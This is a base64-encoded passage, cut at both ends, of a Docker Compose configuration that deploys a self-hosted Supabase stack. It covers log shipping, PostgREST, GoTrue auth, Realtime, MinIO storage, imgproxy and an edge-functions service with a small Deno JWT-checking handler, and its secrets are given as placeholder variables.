gdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtICdHT1RSVUVfVVJJX0FMTE9XX0xJU1Q9JHtBRERJVElPTkFMX1JFRElSRUNUX1VSTFN9JwogICAgICAtICdHT1RSVUVfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgICAtIEdPVFJVRV9KV1RfQURNSU5fUk9MRVM9c2VydmljZV9yb2xlCiAgICAgIC0gR09UUlVFX0pXVF9BVUQ9YXV0aGVudGljYXRlZAogICAgICAtIEdPVFJVRV9KV1RfREVGQVVMVF9HUk9VUF9OQU1FPWF1dGhlbnRpY2F0ZWQKICAgICAgLSAnR09UUlVFX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgICAgLSAnR09UUlVFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9FTUFJTF9FTkFCTEVEPSR7RU5BQkxFX0VNQUlMX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9BTk9OWU1PVVNfVVNFUlNfRU5BQkxFRD0ke0VOQUJMRV9BTk9OWU1PVVNfVVNFUlM6LWZhbHNlfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9BVVRPQ09ORklSTT0ke0VOQUJMRV9FTUFJTF9BVVRPQ09ORklSTTotZmFsc2V9JwogICAgICAtICdHT1RSVUVfU01UUF9BRE1JTl9FTUFJTD0ke1NNVFBfQURNSU5fRU1BSUx9JwogICAgICAtICdHT1RSVUVfU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnR09UUlVFX1NNVFBfUE9SVD0ke1NNVFBfUE9SVDotNTg3fScKICAgICAgLSAnR09UUlVFX1NNVFBfVVNFUj0ke1NNVFBfVVNFUn0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1BBU1M9JHtTTVRQX1BBU1N9JwogICAgICAtICdHT1RSVUVfU01UUF9TRU5ERVJfTkFNRT0ke1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0lOVklURT0ke01BSUxFUl9VUkxQQVRIU19JTlZJVEU6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1VSTFBBVEhTX0NPTkZJUk1BVElPTjotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWT0ke01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfVVJMUEFUSFNfRU1BSUxfQ0hBTkdFOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19JTlZJVEU9JHtNQUlMRVJfVEVNUExBVEVTX0lOVklURX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUlk9JHtNQUlMRVJfVEVNUExBVEVTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOSz0ke01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOS30nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT049JHtNQUlMRVJfU1VCSkVDVFNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWT0ke01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfU1VCSkVDVFNfTUFHSUNfTElOSz0ke01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfU1VCSkVDVFNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19JTlZJVEU9JHtNQUlMRVJfU1VCSkVDVFNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX1BIT05FX0VOQUJMRUQ9JHtFTkFCTEVfUEhPTkVfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX1NNU19BVVRPQ09ORklSTT0ke0VOQUJMRV9QSE9ORV9BVVRPQ09ORklSTTotdHJ1ZX0nCiAgcmVhbHRpbWUtZGV2OgogICAgaW1hZ2U6ICdzdXBhYmFzZS9yZWFsdGltZTp2Mi4zNC40NycKICAgIGNvbnRhaW5lcl9uYW1lOiByZWFsdGltZS1kZXYuc3VwYWJhc2UtcmVhbHRpbWUKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctLWhlYWQnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICctSCcKICAgICAgICAtICdBdXRob3JpemF0aW9uOiBCZWFyZXIgJHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvdGVuYW50cy9yZWFsdGltZS1kZXYvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gREJfVVNFUj1zdXBhYmFzZV9hZG1pbgogICAgICAtICdEQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnREJfQUZURVJfQ09OTkVDVF9RVUVSWT1TRVQgc2VhcmNoX3BhdGggVE8gX3JlYWx0aW1lJwogICAgICAtIERCX0VOQ19LRVk9c3VwYWJhc2VyZWFsdGltZQogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBGTFlfQUxMT0NfSUQ9Zmx5MTIzCiAgICAgIC0gRkxZX0FQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFQ1JFVF9QQVNTV09SRF9SRUFMVElNRX0nCiAgICAgIC0gJ0VSTF9BRkxBR1M9LXByb3RvX2Rpc3QgaW5ldF90Y3AnCiAgICAgIC0gRU5BQkxFX1RBSUxTQ0FMRT1mYWxzZQogICAgICAtICJETlNfTk9ERVM9JyciCiAgICAgIC0gUkxJTUlUX05PRklMRT0xMDAwMAogICAgICAtIEFQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gU0VFRF9TRUxGX0hPU1Q9dHJ1ZQogICAgICAtIExPR19MRVZFTD1lcnJvcgogICAgICAtIFJVTl9KQU5JVE9SPXRydWUKICAgICAgLSBKQU5JVE9SX0lOVEVSVkFMPTYwMDAwCiAgICBjb21tYW5kOiAic2ggLWMgXCIvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3JlYWx0aW1lIGV2YWwgJ1JlYWx0aW1lLlJlbGVhc2Uuc2VlZHMoUmVhbHRpbWUuUmVwbyknICYmIC9hcHAvYmluL3NlcnZlclwiXG4iCiAgc3VwYWJhc2UtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDAxIiAvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi9kYXRhJwogIG1pbmlvLWNyZWF0ZWJ1Y2tldDoKICAgIGltYWdlOiBtaW5pby9tYwogICAgcmVzdGFydDogJ25vJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLW1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIC9lbnRyeXBvaW50LnNoCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9lbnRyeXBvaW50LnNoCiAgICAgICAgdGFyZ2V0OiAvZW50cnlwb2ludC5zaAogICAgICAgIGNvbnRlbnQ6ICIjIS9iaW4vc2hcbi91c3IvYmluL21jIGFsaWFzIHNldCBzdXBhYmFzZS1taW5pbyBodHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCAke01JTklPX1JPT1RfVVNFUn0gJHtNSU5JT19ST09UX1BBU1NXT1JEfTtcbi91c3IvYmluL21jIG1iIC0taWdub3JlLWV4aXN0aW5nIHN1cGFiYXNlLW1pbmlvL3N0dWI7XG5leGl0IDBcbiIKICBzdXBhYmFzZS1zdG9yYWdlOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdG9yYWdlLWFwaTp2MS4xNC42JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtcmVzdDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgICBpbWdwcm94eToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMC9zdGF0dXMnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWRVJfUE9SVD01MDAwCiAgICAgIC0gU0VSVkVSX1JFR0lPTj1sb2NhbAogICAgICAtIE1VTFRJX1RFTkFOVD1mYWxzZQogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX3N0b3JhZ2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gREJfSU5TVEFMTF9ST0xFUz1mYWxzZQogICAgICAtIFNUT1JBR0VfQkFDS0VORD1zMwogICAgICAtIFNUT1JBR0VfUzNfQlVDS0VUPXN0dWIKICAgICAgLSAnU1RPUkFHRV9TM19FTkRQT0lOVD1odHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCcKICAgICAgLSBTVE9SQUdFX1MzX0ZPUkNFX1BBVEhfU1RZTEU9dHJ1ZQogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPXVzLWVhc3QtMQogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtIFVQTE9BRF9GSUxFX1NJWkVfTElNSVQ9NTI0Mjg4MDAwCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVF9TVEFOREFSRD01MjQyODgwMDAKICAgICAgLSBVUExPQURfU0lHTkVEX1VSTF9FWFBJUkFUSU9OX1RJTUU9MTIwCiAgICAgIC0gVFVTX1VSTF9QQVRIPXVwbG9hZC9yZXN1bWFibGUKICAgICAgLSBUVVNfTUFYX1NJWkU9MzYwMDAwMAogICAgICAtIEVOQUJMRV9JTUFHRV9UUkFOU0ZPUk1BVElPTj10cnVlCiAgICAgIC0gJ0lNR1BST1hZX1VSTD1odHRwOi8vaW1ncHJveHk6ODA4MCcKICAgICAgLSBJTUdQUk9YWV9SRVFVRVNUX1RJTUVPVVQ9MTUKICAgICAgLSBEQVRBQkFTRV9TRUFSQ0hfUEFUSD1zdG9yYWdlCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFJFUVVFU1RfQUxMT1dfWF9GT1JXQVJERURfUEFUSD10cnVlCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIGltZ3Byb3h5OgogICAgaW1hZ2U6ICdkYXJ0aHNpbS9pbWdwcm94eTp2My44LjAnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaW1ncHJveHkKICAgICAgICAtIGhlYWx0aAogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSU1HUFJPWFlfTE9DQUxfRklMRVNZU1RFTV9ST09UPS8KICAgICAgLSBJTUdQUk9YWV9VU0VfRVRBRz10cnVlCiAgICAgIC0gJ0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTj0ke0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTjotdHJ1ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIHN1cGFiYXNlLW1ldGE6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3Bvc3RncmVzLW1ldGE6djAuODkuMycKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUEdfTUVUQV9QT1JUPTgwODAKICAgICAgLSAnUEdfTUVUQV9EQl9IT1NUPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUEdfTUVUQV9EQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BHX01FVEFfREJfTkFNRT0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gUEdfTUVUQV9EQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ1BHX01FVEFfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICBzdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczoKICAgIGltYWdlOiAnc3VwYWJhc2UvZWRnZS1ydW50aW1lOnYxLjY3LjQnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnRWRnZSBGdW5jdGlvbnMgaXMgaGVhbHRoeScKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdTVVBBQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fU1VQQUJBU0VLT05HfScKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX1JPTEVfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnU1VQQUJBU0VfREJfVVJMPXBvc3RncmVzcWw6Ly9wb3N0Z3Jlczoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnVkVSSUZZX0pXVD0ke0ZVTkNUSU9OU19WRVJJRllfSldUOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvZnVuY3Rpb25zOi9ob21lL2Rlbm8vZnVuY3Rpb25zJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgY29udGVudDogImltcG9ydCB7IHNlcnZlIH0gZnJvbSAnaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTMxLjAvaHR0cC9zZXJ2ZXIudHMnXG5pbXBvcnQgKiBhcyBqb3NlIGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3gvam9zZUB2NC4xNC40L2luZGV4LnRzJ1xuXG5jb25zb2xlLmxvZygnbWFpbiBmdW5jdGlvbiBzdGFydGVkJylcblxuY29uc3QgSldUX1NFQ1JFVCA9IERlbm8uZW52LmdldCgnSldUX1NFQ1JFVCcpXG5jb25zdCBWRVJJRllfSldUID0gRGVuby5lbnYuZ2V0KCdWRVJJRllfSldUJykgPT09ICd0cnVlJ1xuXG5mdW5jdGlvbiBnZXRBdXRoVG9rZW4ocmVxOiBSZXF1ZXN0KSB7XG4gIGNvbnN0IGF1dGhIZWFkZXIgPSByZXEuaGVhZGVycy5nZXQoJ2F1dGhvcml6YXRpb24nKVxuICBpZiAoIWF1dGhIZWFkZXIpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ01pc3NpbmcgYXV0aG9yaXphdGlvbiBoZWFkZXInKVxuICB9XG4gIGNvbnN0IFtiZWFyZXIsIHRva2VuXSA9IGF1dGhIZWFkZXIuc3BsaXQoJyAnKVxuICBpZiAoYmVhcmVyICE9PSAnQmVhcmVyJykge1xuICAgIHRocm93IG5ldyBFcnJvcihgQXV0aCBoZWFkZXIgaXMgbm90ICdCZWFyZXIge3Rva2VufSdgKVxuICB9XG4gIHJldHVybiB0b2tlblxufVxuXG5hc3luYyBmdW5jdGlvbiB2ZXJpZnlKV1Qoand0OiBzdHJpbmcpOiBQcm9taXNlPGJvb2xlYW4+IHtcbiAgY29uc3QgZW5jb2RlciA9IG5ldyBUZXh0RW5jb2RlcigpXG4gIGNvbnN0IHNlY3JldEtleSA9IGVuY29kZXIuZW5jb2RlKEpXVF9TRUNSRVQpXG4gIHRyeSB7XG4gICAgYXdhaXQgam9zZS5qd3RWZXJpZnkoand0LCBzZWNyZXRLZXkpXG4gIH0gY2F0Y2ggKGVycikge1xuICAgIGNvbnNvbGUuZXJyb3IoZXJyKVxuICAgIHJldHVybiBmYWxzZVxuICB9XG4gIHJldHVybiB0cnVlXG59XG5cbnNlcnZlKGFzeW5jIChyZXE6IFJlcXVlc3QpID0+IHtcbiAgaWYgKHJlcS5tZXRob2QgIT09ICdPUFRJT05TJyAmJiBWRVJJRllfSldUKSB7XG4gICAgdHJ5IHtcbiAgICAgIGNvbnN0IHRva2VuID0gZ2V0QXV0aFRva2VuKHJlcSlcbiAgICAgIGNvbnN0IGlzVmFsaWRKV1QgPSBhd2FpdCB